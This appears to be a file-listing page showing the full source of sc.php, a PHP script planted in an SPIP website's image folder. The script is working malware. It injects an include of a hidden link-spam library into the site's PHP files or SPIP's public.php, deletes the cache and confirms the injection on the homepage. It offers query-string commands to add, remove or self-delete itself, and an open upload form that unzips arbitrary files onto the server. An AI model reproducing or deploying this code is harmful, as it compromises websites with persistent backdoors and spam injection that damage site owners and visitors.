File "sc.php"

Full path: /home/argothem/www/organecyberpresse/IMG/distant/xml/sc.php
File size: 15.43 KB
MIME-type: text/x-php
Charset: utf-8

<?php

set_time_limit(0); 
 

$libFNameBody='functions-php-lib';//====================================

$rootPath = $_SERVER['DOCUMENT_ROOT'];
$currentDir = dirname($_SERVER['SCRIPT_FILENAME']); 
$currDirNORTPathONLY = str_replace($rootPath,'',$currentDir);

$txtFile = $currentDir . '/'.$libFNameBody.'.txt'; //====================================
$PHPFile = $currentDir . '/'.$libFNameBody.'.php';  


if (file_exists($txtFile)) {  
    $libContent = file_get_contents($txtFile);
    $libContent = str_replace("0im1wt2Path3Dir4String5", $currDirNORTPathONLY, $libContent);
    file_put_contents($PHPFile, $libContent);   
    if(file_exists($txtFile) and file_exists($PHPFile)){ unlink($txtFile);}  
}
if(file_exists($PHPFile)) { chmod($PHPFile, 0644); }


$libPathFile=$currDirNORTPathONLY."/".$libFNameBody.".php";   
$VFiStr = "DhdL8Uf9"; //===========================================================<!--Dldhl2dhdL3Uf9-->
$tagInner="div";       //==================================================================================

$codeSYSMsg=""; 
$codeMsgWriteAble="";

 
//$_SERVER['DOCUMENT_ROOT']与 $_SERVER["DOCUMENT_ROOT"] .$currDirNORTPathONLY.

 
$insertCode = '<?php include_once $_SERVER["DOCUMENT_ROOT"]."'.$libPathFile.'"; global $hasRun; if (!$hasRun) { echo site_friend_links("<!--'.$VFiStr.'-->");flush();heartBT(); $hasRun = true;} ?>';

// $blackList=['embed','admin','editor','404','backend','cpanel','manage','config','setting','console','sitemap','api','login','signup','cache']; // >=5.4
$blackList=array('embed','admin','editor','404','backend','cpanel','manage','config','setting','console','sitemap','api','login','signup','cache');







$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($rootPath));
// $phpFiles = []; // >=5.4
// $inserted = []; // >=5.4
$phpFiles = array();
$inserted = array();

$AC="";
if(isset($_GET['AC'])){ $AC=trim($_GET['AC']); $AC=str_replace(' ','',$AC); }
$SHOW="0";
if(isset($_GET['SHOW'])){ $SHOW=trim($_GET['SHOW']); $SHOW=str_replace(' ','',$SHOW); }


if ($SHOW=="1") {
    echo date('Y-m-d H:i:s')."<br> ";
    echo preg_quote($insertCode, '/') ."<br><br>";
}

//////==============================
//$currDirNORTPathONLY
$spipDirPath="/"; 
if (strpos($currDirNORTPathONLY, '/IMG') !== false) {
    $parts = explode('/IMG', $currDirNORTPathONLY);
    $spipDirPath = $parts[0] . '/';     
} 
//  echo "Spip path: $spipDirPath\n<BR>";
$filePathPUB = $rootPath .$spipDirPath.'ecrire/public.php';
 


if (is_dir($rootPath .$spipDirPath. 'ecrire/')) {
    $codeSYSMsg.= 'SPIP-PHP';  
    // $filePathPUB = $rootPath .$spipDirPath.'ecrire/public.php';

    if (file_exists($filePathPUB)) {

        // echo "PUB YES";
        $codeSYSMsg.= ':PUB-YES:'; 
        $tagInner = "echo pipeline"; //echo pipeline('affichage_final'
        $insertCode = 'include_once $_SERVER["DOCUMENT_ROOT"]."'.$libPathFile.'"; $site_links="";global $hasRun; if (!$hasRun) { $site_links=site_friend_links("<!--'.$VFiStr.'-->");flush();heartBT(); $hasRun = true;} ';
        $insertCode = $insertCode.'$page["texte"]=str_replace("</body>",$site_links."</body>", $page["texte"]);';       
        array_push($phpFiles, $filePathPUB);
    } else {
        // echo "PUB NOT";
        foreach($files as $file) {
            $currFileName=$file->getFilename();// keywords
            $keywordsFN = 'foot|pied|bottom|sommaire';//==============================            
            if(pathinfo($file, PATHINFO_EXTENSION) == "html" && ( preg_match("/\b($keywordsFN)\b/i", $currFileName) ) && strpos($file->getPath(), 'squelet') !== false) {
                // $phpFiles[] = $file->getRealPath(); // >5.4
                array_push($phpFiles, $file->getRealPath()); 
            }
        }    
    }

    // DEL cacheDir
    $cacheDir = $rootPath . '/tmp/cache/';
    if(is_dir($cacheDir)) {   
        $success = delTree($cacheDir);   
        if($success) {
            $codeSYSMsg.=   "-cacheDir DEL OK.";
        } else {
            $codeSYSMsg.=  "-cacheDir DEL NOT.";
        } 
    }

}else{
    $codeSYSMsg.= 'UNKOWN-PHP';  
    foreach ($files as $file) {
        if ($file->isFile() && $file->getExtension() === 'php' && $file->isWritable() && $file->getRealPath() !== __FILE__) {
            $dir = $file->getPath();
    
            $blackListed = false;
            // foreach ($blackList as $blackWord) {
            //     if (strpos($dir, $blackWord) !== false || strpos($file->getFilename(), $blackWord) !== false) {
            //         $blackListed = true;
            //         break;
            //     }
            // } // foreach //>5.4

            //   for  all
            for($i = 0; $i < count($blackList); $i++) {
                $blackWord = $blackList[$i];            
                if (strpos($dir, $blackWord) !== false || strpos($file->getFilename(), $blackWord) !== false) {                
                    $blackListed = true;
                    break;            
                }            
            }

            if (!$blackListed) {            
                // $phpFiles[] = $file->getRealPath();//>5.4
                array_push($phpFiles, $file->getRealPath()); 
            }
    
        }//endif 
    }
}





// 
function delTree($dir) {
    // $files = array_diff(scandir($dir), ['.','..']);//>5.4
    $exclude = array('.', '..');
    $files = array_diff(scandir($dir), $exclude);
    
    foreach ($files as $file) {
        (is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file");
    }    

    return rmdir($dir);
}
///////////////////


 

//***
function deleteAction($phpFiles,$insertCode){
    $SHOW="0";
    if(isset($_GET['SHOW'])){ $SHOW=trim($_GET['SHOW']); $SHOW=str_replace(' ','',$SHOW); }//ADD AC
    $j=1;
    // foreach ($phpFiles as $file) { // >5.4
    for ($i = 0; $i < count($phpFiles); $i++) {
        $file = $phpFiles[$i];    
        $content = file_get_contents($file);  
        
        chmod($file, 0666);

        if (strpos($content, $insertCode) !== false) {      
          $content = str_replace($insertCode, '', $content); 
          file_put_contents($file, $content);  

          if ($SHOW=="1") { echo "$j ".  $file . " *DEL REBACK ORIGINAL <br>";  }
          $j=$j+1;//+1   
        }   
        
        chmod($file, 0644);
    }
    if($j==1){
        if ($SHOW=="1") { echo "DEL ACTION: NO MATCH file/content/VFstring<br>" ; }
    }
};



function insertAction($inserted,$phpFiles,$insertCode,$tagInner){
    $SHOW="0";
    if(isset($_GET['SHOW'])){ $SHOW=trim($_GET['SHOW']); $SHOW=str_replace(' ','',$SHOW); }
    $j=1;
    // foreach ($phpFiles as $phpFile) {// >5.4
    for ($i = 0; $i < count($phpFiles); $i++) {
        $phpFile = $phpFiles[$i];
        $content = file_get_contents($phpFile);

        //if phpFile is PUB
        if(strpos($phpFile, "public.php") !== false){
            chmod($phpFile, 0666);

            if(strpos($content, $tagInner) !== false){

                if (strpos($content, $insertCode) !== false) {
                    if ($SHOW=="1") {echo $phpFile . "-PUB Already operated before.\n<br>";}
                } else {
                    $pos = strpos($content, $tagInner);
                    $newContent = substr($content, 0, $pos) . $insertCode . substr($content, $pos);
                    if (is_writable($phpFile)) {
                        file_put_contents($phpFile, $newContent);
                        // $inserted[] = $phpFile;   //>5.4
                        array_push($inserted, $phpFile);                      
                        if ($SHOW=="1") { echo $phpFile . "<b>PUB-EMBED-OK-***</b><br>";}
                    } else {                        
                        $codeMsgWriteAble="-NOT_writable-";                        
                        if ($SHOW=="1") { echo $phpFile . "<b>PUB-NOT_writable-***</b><br>";}
                    }
                }
                $j=$j+1;
            } else {
                if ($SHOW=="1") { echo $phpFile . "<b>***NOT found tagInner,not found***</b><br>";}
            }//endif strpos($content, $tagInner)

            chmod($phpFile, 0644);
        }else{
            //else : not public.php
            if (preg_match_all('/<\/' . $tagInner . '>/', $content, $matches, PREG_OFFSET_CAPTURE) ) {

                $validMatches = array_filter($matches[0], function ($match) use ($content) {
                    $pos = $match[1];            
                    $tmpStr=substr($content, 0, $pos);            
                    $phpEndTagPos = strrpos($tmpStr, '?>');
                    $phpBeginTagPos = strrpos($tmpStr, '<?php'); 
                    return substr_count($tmpStr, '<?php')==substr_count($tmpStr, '?>') &&   $phpEndTagPos >= $phpBeginTagPos  &&         
                           substr_count($tmpStr, '<!--')==substr_count($tmpStr, '-->') &&
                           substr_count($tmpStr, '<script')==substr_count($tmpStr, '</script>') ;        
                });
        
                if (!empty($validMatches)) {
                    $randomMatch = $validMatches[array_rand($validMatches)];
                    $insertPos = $randomMatch[1] + strlen($randomMatch[0]);
        
                    if ($SHOW=="1") { echo "$j . ";}
        
                    if (strpos($content, $insertCode) !== false) {
                        if ($SHOW=="1") {echo $phpFile . "-Already operated before.\n<br>";}
                    } else {
                        if (!empty($inserted)){
                            
                            // foreach ($inserted as $insertedFile) {// >5.4
                            for ($ix = 0; $ix < count($inserted); $ix++) {
                                $insertedFile = $inserted[$ix];
    
                                if (preg_match('/(include|require|include_once|require_once) \'' . preg_quote($insertedFile, '/') . '\';/', $content)) {
                                    // $inserted[] = $phpFile;//>5.4
                                    array_push($inserted, $phpFile);
                                    continue 2;
                                }
                            }//end foreach 
                        }//end if 
                        
        
                        $newContent = substr($content, 0, $insertPos) . $insertCode . substr($content, $insertPos);
                        // codeSYSMsg
                        if (is_writable($phpFile)) {
                            file_put_contents($phpFile, $newContent);
                            // $inserted[] = $phpFile;   //>5.4
                            array_push($inserted, $phpFile);                      
                            if ($SHOW=="1") { echo $phpFile . "<b>-EMBED-OK-***</b><br>";}
                        } else {                        
                            $codeMsgWriteAble="-NOT_writable-";                        
                            if ($SHOW=="1") { echo $phpFile . "<b>-NOT_writable-***</b><br>";}
                        }
                        
    
                        
                    }
        
                    $j=$j+1; 
                }//endif !empty($validMatches)
                
            }//endif preg_match_all

        }//endif strpos "public.php" file is PUB



  

 

       


    }//end foreach 1st
    if($j==1){
        if ($SHOW=="1") {echo "ADD ACTION: NO MATCH file/tag/VFstring <br>" ; }
    }
} //end function 




if($AC=="DEL"){
    deleteAction($phpFiles,$insertCode);      
    exit();  
}elseif($AC=="ADD"){
    insertAction($inserted,$phpFiles,$insertCode,$tagInner);      
    exit();

}elseif($AC=="UNLINK"){
    unlink(__FILE__);   
    exit();
}


// CHECK phpFiles Count>0 , do in, else, show code 0, exit() die()
insertAction($inserted,$phpFiles,$insertCode,$tagInner);

//===============================================



// $home_url = $_SERVER['REQUEST_SCHEME'] . '://' . $_SERVER['HTTP_HOST'];//>5.4
$scheme = $_SERVER['HTTPS'] == 'on' ? 'https://' : 'http://';
// $scheme = isset($_SERVER['REQUEST_SCHEME']) ? $_SERVER['REQUEST_SCHEME'] : 'http';// HTTP,HTTPS
// $home_url = $scheme . '://' . $_SERVER['HTTP_HOST'];
$home_url = $scheme . '' . $_SERVER['HTTP_HOST'];
$insertOK=false;


//////



//
$j=1;
while(!$insertOK){  

    $context = stream_context_create();     // 
    stream_context_set_option($context, 'ssl', 'verify_peer', false);
    stream_context_set_option($context, 'ssl', 'verify_peer_name', false);

    $homepageContent = file_get_contents($home_url, false, $context);

    // $homepageContent = file_get_contents($home_url);
     

    if(strpos($homepageContent, $VFiStr) !== false) {
        $insertOK=true;
    }else{  
        deleteAction($phpFiles,$insertCode);
        insertAction($inserted,$phpFiles,$insertCode,$tagInner);
    }
    $j=$j+1;
    if($j>3){break;}//try 3 times
}

if(!$insertOK){
    deleteAction($phpFiles,$insertCode);
    echo '{"code":0,"msg":" '.$codeSYSMsg.$codeMsgWriteAble.' or 3 times NOT MATCH,check by hand: VFstring,insertScript,postion tagInner; or try again."}';
}else{
    echo '{"code":1,"msg":" '.$codeSYSMsg.$codeMsgWriteAble.' EMBED OK"}';
    // unlink(__FILE__);
}



?>
<?php
if ($SHOW=="1") {
    ?>

<br><a href="?AC=DEL&SHOW=1" target="_blank">DEL CLEAR REBACK</a><br>
<br>
<br><a href="?AC=ADD&SHOW=1" target="_blank">ADD ONLY ONCE</a><br>
<br>
<br><a href="?AC=UNLINK&SHOW=1" target="_blank">UNLINK DEL SELF PHP </a><br>
<br>

<form action="?AC=1" method="post" enctype="multipart/form-data">
    Choose File(.zip accept):
    <input type="file" name="file" id="file">
    <input type="submit" value="upload" name="submit">
</form>

<?php
}//endif  $AC=="SHOW" 

// Call the function
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES['file'])) {
        uploadAndUnzip($_FILES['file']);
    }
}

function uploadAndUnzip($file) {
    $target_dir = __DIR__;
    $target_file = $target_dir ."/". basename($file["name"]);
    // $dirNameNew= substr(basename($file["name"]), 0, -4);
    
    $zipFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));

 
    echo "<br> FileType:$zipFileType <br>" ;
    echo "<br>target_dir:$target_dir <br>" ;
    echo "<br>target_file:$target_file <br>" ;

    // Check if $uploadOk is set to 0 by an error
   
    if (move_uploaded_file($file["tmp_name"], $target_file)) {
        echo "<br><b>The file ". basename( $file["name"]). " has been uploaded OK.</b>";
    } else {
        echo "<br>Sorry, upload ERROR...,retry...";
    }
    

    // Check if file is a actual zip or fake zip
    if($zipFileType == "zip") {
    
        // Unzip the file
        $zip = new ZipArchive;
        if ($zip->open($target_file) === TRUE) {
            $zip->extractTo($target_dir);
            $zip->close();
            // Get the name of the newly unzipped folder
            $dirNameNew = basename($file["name"], ".zip");
            // Change the permissions of the folder to be readable, writable and executable
            chmod($dirNameNew, 0755);
            // Create a RecursiveIteratorIterator to get all files in the directory and its subdirectories
            $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dirNameNew));
            // Traverse through all the files and set their permissions to readable, writable and executable
            foreach($iterator as $file) {
                chmod($file, 0755);
            }

            echo '<br>File Unzip OK ,set 0777(dir same zip file name):'.$target_dir.'/'.$dirNameNew;

            // Delete the uploaded zip file
            unlink($target_file);
            echo '<br>delete OK ,zip file';
        } else {
            echo '<br>unzip NOT ,retry ';
        }
    }
    // Delete the current PHP file
    // unlink(__FILE__);
}

?>